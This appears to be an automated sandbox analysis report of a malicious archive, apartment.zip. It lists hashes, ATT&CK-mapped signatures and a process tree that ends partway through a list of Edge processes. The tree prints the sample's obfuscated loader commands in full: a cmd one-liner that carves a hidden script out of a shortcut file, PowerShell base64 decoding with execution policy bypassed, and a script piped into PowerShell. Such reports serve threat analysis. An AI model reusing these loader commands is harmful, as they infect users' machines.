194742d59dacc09a04a398be2f1de1403b65e2ab7028a5125bd1b3d4f55f31c0

Resubmissions

22/07/2026, 09:35

260722-lkjggssemb8

22/07/2026, 09:21

260722-lbbehssdla8

Analysis

user interaction
yes
max time kernel
630s
max time network
614s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
22/07/2026, 09:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
apartment.zip
Size 313KB
Sample260722-lbbehssdla
SHA256 194742d59dacc09a04a398be2f1de1403b65e2ab7028a5125bd1b3d4f55f31c0
MD5 f9bc364d90ce3068857255f9d728ba6e
SHA1 2556c885d1f59017a26d4ab8c8ad01d474e6e507
SHA512 43f2c5a6224d3865fc67ecf7bb84791b9aa01ffaab33a36f54c423cc4120eb9c8bf13b4e68c2d9f8667069daa6d46104c3475cede2a687a5a71b851725995409
SSDEEP 6144:l9cPfRPXe/NqgoOyYeXFl3lXK8RhotTVpIq9gA3HA:cPU/Nqgose1dABIU73HA
TLSH
T1F86423783DEE046E4065DE6DE0A67231DEE83724B564D7AB69E34A0C078CF364F0951B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution

Malware Config

Signatures

Badlisted process makes network request 23 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
73	2464	powershell.exe
90	2464	powershell.exe
91	2464	powershell.exe
92	2464	powershell.exe
95	2464	powershell.exe
96	2464	powershell.exe
100	2464	powershell.exe
103	2464	powershell.exe
104	2464	powershell.exe
103	2464	powershell.exe
118	2464	powershell.exe
104	2464	powershell.exe
124	2464	powershell.exe
126	2464	powershell.exe
127	2464	powershell.exe
130	2464	powershell.exe
131	2464	powershell.exe
132	2464	powershell.exe
133	2464	powershell.exe
134	2464	powershell.exe
137	2464	powershell.exe
138	2464	powershell.exe
142	2464	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
764	msedge.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1992	powershell.exe
3432	powershell.exe
2464	powershell.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_101196687\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_317056027\arbitration_metadata.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Sigma\Social	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Sigma\Staging	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_431951778\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1760213897\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1679581322\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_34514556\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_317056027\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Mu\Social	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_489429504\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1679581322\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_34514556\keys.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_431951778\crl-set	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1679581322\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1679581322\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1938816175\travel-facilitated-booking-bing.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1760213897\typosquatting_list.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Sigma\Advertising	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1391901562\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_489429504\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_101196687\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_479566486\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1124542036\domain_actions.dll	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Mu\TransparentAdvertisers	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Sigma\Analytics	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1938816175\automation.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_34514556\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Mu\Entities	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Mu\Other	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1391901562\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1938816175\travel-facilitated-booking-kayak.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_479566486\regex_patterns.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_479566486\v1FieldTypes.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Mu\Content	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Sigma\Entities	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_101196687\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1938816175\extraction.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_34514556\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Mu\Advertising	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Mu\Staging	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1520257258\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1760213897\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Mu\Analytics	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Mu\Fingerprinting	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Sigma\Fingerprinting	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Sigma\Other	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_479566486\autofill_bypass_cache_forms.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1760213897\safety_tips.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1938816175\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1938816175\classification.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Sigma\Content	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Sigma\Cryptomining	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1520257258\deny_full_domains.list	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Mu\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_277726732\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1520257258\deny_etld1_domains.list	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_479566486\edge_autofill_global_block_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_1124542036\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Mu\CompatExceptions	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Mu\Cryptomining	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_863106687\Sigma\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping764_101196687\LICENSE	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3636	cmd.exe
5872	cmd.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4152	msedge.exe
3868	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134291857245131721"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1079202589-886135813-2527035092-1000\{F97E84C2-12FE-4510-804F-455F94172D1A}	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1079202589-886135813-2527035092-1000\{2F2C40CD-904A-4C10-B034-5C37C84674FD}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1079202589-886135813-2527035092-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1992	powershell.exe
1992	powershell.exe
1992	powershell.exe
3432	powershell.exe
3432	powershell.exe
3432	powershell.exe
2464	powershell.exe
2464	powershell.exe
2464	powershell.exe
764	msedge.exe
764	msedge.exe
3744	msedge.exe
3744	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
4968	msedge.exe
4968	msedge.exe
4968	msedge.exe
4968	msedge.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1992	powershell.exe
Token: SeDebugPrivilege	3432	powershell.exe
Token: SeDebugPrivilege	2464	powershell.exe

Suspicious use of FindShellTrayWindow 10 IoCs

pid	Process
4968	msedge.exe
4968	msedge.exe
4968	msedge.exe
4968	msedge.exe
4968	msedge.exe
4968	msedge.exe
4968	msedge.exe
4968	msedge.exe
4968	msedge.exe
4968	msedge.exe

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
4968	msedge.exe
4968	msedge.exe
4968	msedge.exe
4968	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4692	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5096 wrote to memory of 3636	5096	conhost.EXE	93
PID 3636 wrote to memory of 5872	3636	cmd.exe	94
PID 5872 wrote to memory of 1148	5872	cmd.exe	95
PID 3636 wrote to memory of 1308	3636	cmd.exe	96
PID 3636 wrote to memory of 3204	3636	cmd.exe	97
PID 3636 wrote to memory of 1992	3636	cmd.exe	98
PID 3636 wrote to memory of 4572	3636	cmd.exe	99
PID 3636 wrote to memory of 3432	3636	cmd.exe	100
PID 3432 wrote to memory of 2464	3432	powershell.exe	102
PID 4692 wrote to memory of 4968	4692	explorer.exe	103
PID 4968 wrote to memory of 3308	4968	msedge.exe	104
PID 4968 wrote to memory of 4152	4968	msedge.exe	105
PID 4968 wrote to memory of 4952	4968	msedge.exe	106
PID 4968 wrote to memory of 4952	4968	msedge.exe	106
PID 4968 wrote to memory of 4212	4968	msedge.exe	107
PID 4968 wrote to memory of 4212	4968	msedge.exe	107
PID 4968 wrote to memory of 4212	4968	msedge.exe	107
PID 4968 wrote to memory of 4880	4968	msedge.exe	108
PID 4968 wrote to memory of 4880	4968	msedge.exe	108
PID 4968 wrote to memory of 4880	4968	msedge.exe	108
PID 4968 wrote to memory of 4932	4968	msedge.exe	109
PID 4968 wrote to memory of 4932	4968	msedge.exe	109
PID 4968 wrote to memory of 4932	4968	msedge.exe	109
PID 4968 wrote to memory of 1548	4968	msedge.exe	111
PID 4968 wrote to memory of 2032	4968	msedge.exe	112
PID 4968 wrote to memory of 1548	4968	msedge.exe	111
PID 4968 wrote to memory of 1548	4968	msedge.exe	111
PID 4968 wrote to memory of 2032	4968	msedge.exe	112
PID 4968 wrote to memory of 2032	4968	msedge.exe	112
PID 4968 wrote to memory of 2480	4968	msedge.exe	113
PID 4968 wrote to memory of 2480	4968	msedge.exe	113
PID 4968 wrote to memory of 1872	4968	msedge.exe	114
PID 4968 wrote to memory of 1872	4968	msedge.exe	114
PID 4968 wrote to memory of 3404	4968	msedge.exe	115
PID 4968 wrote to memory of 3404	4968	msedge.exe	115
PID 4968 wrote to memory of 5692	4968	msedge.exe	117
PID 4968 wrote to memory of 3388	4968	msedge.exe	118
PID 4968 wrote to memory of 3388	4968	msedge.exe	118
PID 4968 wrote to memory of 5236	4968	msedge.exe	121
PID 4968 wrote to memory of 5236	4968	msedge.exe	121
PID 4968 wrote to memory of 764	4968	msedge.exe	123
PID 764 wrote to memory of 1792	764	msedge.exe	124
PID 764 wrote to memory of 6128	764	msedge.exe	125
PID 764 wrote to memory of 3868	764	msedge.exe	126
PID 764 wrote to memory of 6128	764	msedge.exe	125
PID 764 wrote to memory of 6128	764	msedge.exe	125
PID 764 wrote to memory of 2536	764	msedge.exe	127
PID 764 wrote to memory of 2536	764	msedge.exe	127
PID 764 wrote to memory of 5472	764	msedge.exe	130
PID 764 wrote to memory of 444	764	msedge.exe	131
PID 764 wrote to memory of 444	764	msedge.exe	131
PID 764 wrote to memory of 1252	764	msedge.exe	132
PID 764 wrote to memory of 1252	764	msedge.exe	132
PID 764 wrote to memory of 4464	764	msedge.exe	133
PID 764 wrote to memory of 4464	764	msedge.exe	133
PID 764 wrote to memory of 2760	764	msedge.exe	134
PID 764 wrote to memory of 4316	764	msedge.exe	135
PID 764 wrote to memory of 5280	764	msedge.exe	136
PID 764 wrote to memory of 2056	764	msedge.exe	139
PID 764 wrote to memory of 2056	764	msedge.exe	139
PID 764 wrote to memory of 4696	764	msedge.exe	140
PID 764 wrote to memory of 4696	764	msedge.exe	140
PID 764 wrote to memory of 2876	764	msedge.exe	141
PID 764 wrote to memory of 2876	764	msedge.exe	141

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\apartment.zip
1⤵
PID:6140

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5684

C:\Windows\system32\conhost.EXE
"C:\Windows\system32\conhost.EXE" --headless C:\Windows\system32\cmd.exe /v /c set k=%cd%\gallery_2026.lnk&set f=r&set k=""""!k!""""&set k=!k:~1,-2!!k:~-1!&(if not exist "!k!" (for /f delims^=^ eol^= %g in ('whe^!f!e /R "C:\Users\Admin\AppData\Local\Temp" "gallery_2026.ln?"') do @set k=%g)>nul 2>&1)&cd /d !localappdata!&mo^!f!e +1065 "!k!">"pwvb.cmD"&pwvb
1⤵
- Suspicious use of WriteProcessMemory
PID:5096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /v /c set k=%cd%\gallery_2026.lnk&set f=r&set k=\"!k!\"&set k=!k:~1,-2!!k:~-1!&(if not exist !k! (for /f delims^=^ eol^= %g in ('whe^!f!e /R C:\Users\Admin\AppData\Local\Temp gallery_2026.ln?') do @set k=%g)>nul 2>&1)&cd /d !localappdata!&mo^!f!e +1065 !k!>pwvb.cmD&pwvb
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c where /R C:\Users\Admin\AppData\Local\Temp gallery_2026.ln?
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5872
  - - C:\Windows\system32\where.exe
      where /R C:\Users\Admin\AppData\Local\Temp gallery_2026.ln?
      4⤵
      PID:1148
- - C:\Windows\system32\more.com
    more +1065 C:\Users\Admin\AppData\Local\Temp\6d6dbd5c-ddf4-416a-b741-2ff63a63eac6_apartment.zip.ac6\gallery_2026.lnk
    3⤵
    PID:1308
- - C:\Windows\system32\findstr.exe
    findstr /b /l /C:"CjwhRE9DVFlQRSBodG1sPgo8a" "C:\Users\Admin\AppData\Local\pwvb.cmD"
    3⤵
    PID:3204
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b64 = Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\dh.txt';$b64 = -join ($b64 -split '[^A-Za-z0-9+/=]');[IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Local\Temp\cert.crt', [Convert]::FromBase64String($b64))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1992
- - C:\Windows\explorer.exe
    explorer.exe "C:\Users\Admin\AppData\Local\Temp\wdvllnq.html"
    3⤵
    PID:4572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\pwvb.cmD') | powershell -Command -"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command -
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2464

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4692
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\wdvllnq.html
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4968
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x364,0x7ffda606c188,0x7ffda606c194,0x7ffda606c1a0
    3⤵
    PID:3308
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1840,i,10949225953590800016,6012854087920175079,524288 --field-trial-handle=2692,i,15768412357809861650,9622393396706616783,262144 --variations-seed-version --mojo-platform-channel-handle=2720 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4152
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2236,i,14465494041575164253,8859225294921909731,524288 --field-trial-handle=2692,i,15768412357809861650,9622393396706616783,262144 --variations-seed-version --mojo-platform-channel-handle=2728 /prefetch:13
    3⤵
    PID:4952
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1636,i,16298969627553861349,10806461615789158932,262144 --field-trial-handle=2692,i,15768412357809861650,9622393396706616783,262144 --variations-seed-version --mojo-platform-channel-handle=2688 /prefetch:2
    3⤵
    PID:4212
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3384,i,11713036609173723922,347124613240625780,2097152 --field-trial-handle=2692,i,15768412357809861650,9622393396706616783,262144 --variations-seed-version --mojo-platform-channel-handle=3412 /prefetch:1
    3⤵
    PID:4880
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3392,i,14425218995456332409,15072904133460872556,2097152 --field-trial-handle=2692,i,15768412357809861650,9622393396706616783,262144 --variations-seed-version --mojo-platform-channel-handle=3416 /prefetch:1
    3⤵
    PID:4932
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4244,i,17900085655968517292,7767775377233813640,2097152 --field-trial-handle=2692,i,15768412357809861650,9622393396706616783,262144 --variations-seed-version --mojo-platform-channel-handle=4544 /prefetch:1
    3⤵
    PID:1548
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4284,i,3755720670905447787,8173326443058734672,2097152 --field-trial-handle=2692,i,15768412357809861650,9622393396706616783,262144 --variations-seed-version --mojo-platform-channel-handle=4600 /prefetch:9
    3⤵
    PID:2032
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5192,i,13752780029834322047,5143021220082110636,524288 --field-trial-handle=2692,i,15768412357809861650,9622393396706616783,262144 --variations-seed-version --mojo-platform-channel-handle=5184 /prefetch:14
    3⤵
    PID:2480
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5328,i,2548729150650849569,18156991338448983919,524288 --field-trial-handle=2692,i,15768412357809861650,9622393396706616783,262144 --variations-seed-version --mojo-platform-channel-handle=5432 /prefetch:14
    3⤵
    PID:1872
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5436,i,14028405842519530679,2543364942098570678,524288 --field-trial-handle=2692,i,15768412357809861650,9622393396706616783,262144 --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:14
    3⤵
    PID:3404
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
